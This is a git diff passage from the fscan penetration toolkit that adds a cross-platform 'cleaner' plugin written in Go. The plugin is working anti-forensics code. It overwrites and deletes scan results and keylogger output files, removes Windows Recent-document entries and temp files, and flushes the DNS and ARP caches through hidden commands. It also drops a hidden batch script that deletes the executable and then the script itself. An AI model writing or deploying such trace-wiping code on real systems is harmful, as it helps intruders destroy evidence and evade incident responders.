cleaned + } + + // 最近文档目录 + recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent") + + entries, err := os.ReadDir(recentDir) + if err != nil { + common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err)) + return cleaned + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + + filename := strings.ToLower(entry.Name()) + if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") { + recentFile := filepath.Join(recentDir, entry.Name()) + if err := os.Remove(recentFile); err != nil { + common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err)) + } else { + cleaned = append(cleaned, recentFile) + common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name())) + } + } + } + + return cleaned +} + +// cleanWindowsTempFiles 清理Windows临时文件 +func (p *CleanerPlugin) cleanWindowsTempFiles() []string { + var cleaned []string + + // 临时目录 + tempDirs := []string{ + os.Getenv("TEMP"), + os.Getenv("TMP"), + "C:\\Windows\\Temp", + } + + for _, tempDir := range tempDirs { + if tempDir == "" { + continue + } + + entries, err := os.ReadDir(tempDir) + if err != nil { + continue + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + + filename := strings.ToLower(entry.Name()) + if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") { + tempFile := filepath.Join(tempDir, entry.Name()) + + // 检查文件是否太新(可能正在使用) + if info, err := entry.Info(); err == nil { + if time.Since(info.ModTime()) < 5*time.Minute { + continue + } + } + + if err := os.Remove(tempFile); err != nil { + common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) + } else { + cleaned = append(cleaned, tempFile) + common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) + } + } + } + } + + return cleaned +} + +// cleanNetworkTraces 清理网络痕迹 +func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 1. 清理DNS缓存 + cmd := exec.Command("ipconfig", "/flushdns") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + if err := cmd.Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err)) + } else { + cleaned = append(cleaned, "DNS Cache") + common.LogSuccess("已清理DNS缓存") + } + + // 2. 清理ARP缓存 + arpCmd := exec.Command("arp", "-d", "*") + arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + if err := arpCmd.Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) + } else { + cleaned = append(cleaned, "ARP Cache") + common.LogSuccess("已清理ARP缓存") + } + + report["network_caches"] = cleaned + report["total_cleaned"] = len(cleaned) + + return report +} + +// createWindowsSelfDestruct 创建Windows自毁脚本 +func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} { + report := make(map[string]interface{}) + + // 创建批处理自毁脚本 + batchScript := fmt.Sprintf(`@echo off +timeout /t 2 /nobreak > nul +del /f /q "%s" 2>nul +del /f /q "%%~f0" 2>nul +exit`, p.currentExecutable) + + scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat") + + if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil { + common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) + report["status"] = "failed" + report["error"] = err.Error() + } else { + // 异步执行自毁脚本 + go func() { + time.Sleep(1 * time.Second) + cmd := exec.Command(scriptPath) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + cmd.Start() + }() + + report["status"] = "scheduled" + report["script_path"] = scriptPath + common.LogInfo("已创建自毁脚本,将在退出后执行") + } + + return report +} + +// prepareSelfDestruction 准备自毁 +func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { + return p.createWindowsSelfDestruct() +} \ No newline at end of file diff --git a/Plugins/local/cleaner/plugin.go b/Plugins/local/cleaner/plugin.go new file mode 100644 index 0000000..2c3f4ff --- /dev/null +++ b/Plugins/local/cleaner/plugin.go @@ -0,0 +1,386 @@ +package cleaner + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// CleanerPlugin 系统痕迹清理插件 - 跨平台支持 +type CleanerPlugin struct { + *local.BaseLocalPlugin + + // 配置选项 + targetFiles []string // 要清理的文件列表 + cleanDirectories []string // 要清理的目录列表 + currentExecutable string // 当前执行文件路径 + workingDirectory string // 当前工作目录 + cleanupStats map[string]int // 清理统计 +} + +// NewCleanerPlugin 创建系统痕迹清理插件 +func NewCleanerPlugin() *CleanerPlugin { + metadata := &base.PluginMetadata{ + Name: "cleaner", + Version: "1.0.0", + Author: "fscan-team", + Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹", + Category: "local", + Tags: []string{"local", "cleaner", "forensics", "cross-platform"}, + Protocols: []string{"local"}, + } + + plugin := &CleanerPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + targetFiles: make([]string, 0), + cleanDirectories: make([]string, 0), + cleanupStats: make(map[string]int), + } + + // 支持所有主要平台 + plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 需要系统权限进行清理操作 + plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理 + + return plugin +} + +// Initialize 初始化插件 +func (p *CleanerPlugin) Initialize() error { + common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS)) + + // 获取当前执行文件路径 + if exe, err := os.Executable(); err == nil { + p.currentExecutable = exe + common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe)) + } + + // 获取当前工作目录 + if wd, err := os.Getwd(); err == nil { + p.workingDirectory = wd + common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd)) + } + + // 扫描要清理的文件 + if err := p.scanCleanupTargets(); err != nil { + return fmt.Errorf("扫描清理目标失败: %v", err) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行系统痕迹清理任务 +func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogInfo("开始系统痕迹清理...") + + // 执行清理操作 + cleanupReport, err := p.performCleanup(ctx) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + result := &base.ScanResult{ + Success: true, + Service: "SystemCleaner", + Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目", + p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]), + Extra: map[string]interface{}{ + "platform": runtime.GOOS, + "files_cleaned": p.cleanupStats["files"], + "directories_cleaned": p.cleanupStats["directories"], + "system_entries_cleaned": p.cleanupStats["system_entries"], + "cleanup_report": cleanupReport, + }, + } + + common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)", + p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"])) + + return result, nil +} + +// scanCleanupTargets 扫描要清理的目标 +func (p *CleanerPlugin) scanCleanupTargets() error { + common.LogInfo("扫描清理目标...") + + // 扫描当前目录下的fscan相关文件 + if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil // 忽略访问错误 + } + + if info.IsDir() { + return nil + } + + filename := strings.ToLower(info.Name()) + + // 检查fscan相关文件 + if p.isFscanRelatedFile(filename) { + p.targetFiles = append(p.targetFiles, path) + common.LogDebug(fmt.Sprintf("发现清理目标: %s", path)) + } + + return nil + }); err != nil { + common.LogError(fmt.Sprintf("扫描文件失败: %v", err)) + } + + common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles))) + return nil +} + +// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略 +func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool { + // 严格的项目文件排除列表 - 确保不误删项目文件 + excludePatterns := []string{ + ".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置 + ".git", ".claude", ".idea", ".vscode", // 版本控制和IDE + "dockerfile", "makefile", "license", "readme", // 项目文件 + "plugins", "common", "core", "webscan", // 核心目录 + "testdocker", // 测试配置 + ".json", ".xml", // 配置文件 + } + + // 检查是否为需要排除的文件 + for _, exclude := range excludePatterns { + if strings.Contains(filename, exclude) { + return false + } + } + + // 只清理明确的输出和结果文件 - 非常保守的策略 + cleanPatterns := []string{ + "result.txt", // 默认扫描结果文件 + "results.txt", // 可能的结果文件 + "output.txt", // 输出文件 + "scan_result.txt", // 扫描结果 + "keylog.txt", // 键盘记录输出 + "my_keylog.txt", // 自定义键盘记录 + } + + // 排除当前执行文件(稍后单独处理) + if p.currentExecutable != "" { + currentExeName := strings.ToLower(filepath.Base(p.currentExecutable)) + if filename == currentExeName { + return false + } + } + + // 只清理明确匹配的输出文件 + for _, pattern := range cleanPatterns { + if filename == pattern { // 精确匹配,不使用 Contains + return true + } + } + + // 清理明确的测试生成可执行文件(但保留源码) + if strings.HasSuffix(filename, ".exe") { + // 只清理包含特定测试标识的exe文件 + testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"} + for _, pattern := range testPatterns { + if strings.Contains(filename, pattern) { + return true + } + } + } + + return false +} + +// performCleanup 执行清理操作 +func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) { + report := make(map[string]interface{}) + + // 初始化统计 + p.cleanupStats["files"] = 0 + p.cleanupStats["directories"] = 0 + p.cleanupStats["system_entries"] = 0 + + // 1. 清理文件 + common.LogInfo("清理相关文件...") + fileReport := p.cleanTargetFiles() + report["file_cleanup"] = fileReport + + // 2. 清理系统痕迹(平台特定) + common.LogInfo("清理系统痕迹...") + systemReport := p.cleanSystemTraces() + report["system_cleanup"] = systemReport + + // 3. 清理网络痕迹 + common.LogInfo("清理网络痕迹...") + networkReport := p.cleanNetworkTraces() + report["network_cleanup"] = networkReport + + // 4. 最后清理自身(需要特殊处理) + if p.currentExecutable != "" { + common.LogInfo("准备清理自身...") + selfReport := p.prepareSelfDestruction() + report["self_cleanup"] = selfReport + } + + return report, nil +} + +// cleanTargetFiles 清理文件 +func (p *CleanerPlugin) cleanTargetFiles() []string { + var cleaned []string + + for _, file := range p.targetFiles { + if err := p.secureDelete(file); err != nil { + common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err)) + } else { + cleaned = append(cleaned, file) + p.cleanupStats["files"]++ + common.LogSuccess(fmt.Sprintf("已删除: %s", file)) + } + } + + return cleaned +} + +// secureDelete 安全删除文件(覆盖后删除) +func (p *CleanerPlugin) secureDelete(filepath string) error { + // 获取文件信息 + info, err := os.Stat(filepath) + if err != nil { + return err + } + + // 小文件进行覆盖删除 + if info.Size() < 10*1024*1024 { // 10MB以下 + if err := p.overwriteFile(filepath); err != nil { + common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err)) + } + } + + // 删除文件 + return os.Remove(filepath) +} + +// overwriteFile 覆盖文件内容 +func (p *CleanerPlugin) overwriteFile(filepath string) error { + info, err := os.Stat(filepath) + if err != nil { + return err + } + + file, err := os.OpenFile(filepath, os.O_WRONLY, 0) + if err != nil { + return err + } + defer file.Close() + + // 用随机数据覆盖 + size := info.Size() + buffer := make([]byte, 4096) + for i := range buffer { + buffer[i] = byte(time.Now().UnixNano() % 256) + } + + for size > 0 { + writeSize := int64(len(buffer)) + if size < writeSize { + writeSize = size + } + + if _, err := file.Write(buffer[:writeSize]); err != nil { + return err + } + size -= writeSize + } + + return file.Sync() +} + +// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中 + +// GetLocalData 获取清理器本地数据 +func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + + data["plugin_type"] = "cleaner" + data["platform"] = runtime.GOOS + data["current_executable"] = p.currentExecutable + data["working_directory"] = p.workingDirectory + data["cleanup_targets"] = len(p.targetFiles) + + if hostname, err := os.Hostname(); err == nil { + data["hostname"] = hostname + } + + return data, nil +} + +// ExtractData 提取数据 +func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: true, + Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]), + Data: data, + Extra: map[string]interface{}{ + "platform": runtime.GOOS, + "cleanup_stats": p.cleanupStats, + "status": "completed", + }, + }, nil +} + +// GetInfo 获取插件信息 +func (p *CleanerPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("跨平台系统痕迹清理插件\n") + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能:\n") + info.WriteString(" - 清理fscan相关输出文件\n") + info.WriteString(" - 清理系统日志痕迹\n") + info.WriteString(" - 清理网络连接痕迹\n") + info.WriteString(" - 清理Shell历史记录\n") + info.WriteString(" - 安全删除敏感文件\n") + info.WriteString(" - 自毁功能\n") + info.WriteString("注意: 根据当前用户权限执行清理操作\n") + + return info.String() +} + +// RegisterCleanerPlugin 注册系统痕迹清理插件 +func RegisterCleanerPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "cleaner", + Version: "1.0.0", + Author: "fscan-team", + Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹", + Category: "local", + Tags: []string{"cleaner", "local", "forensics", "cross-platform"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewCleanerPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("cleaner", factory) +} + +// init 插件注册函数 +func init() { + RegisterCleanerPlugin() +} \ No newline at end of file diff --git a/main.go b/main.go index c1887f1..ea95b6b 100644 --- a/main.go +++ b/main.go @@ -34,6 +34,7 @@ import ( // 实用工具插件 _ "github.com/shadow1ng/fscan/plugins/local/downloader" // 跨平台文件下载 + _ "github.com/shadow1ng/fscan/plugins/local/cleaner" // 跨平台系统痕迹清理 ) func main() {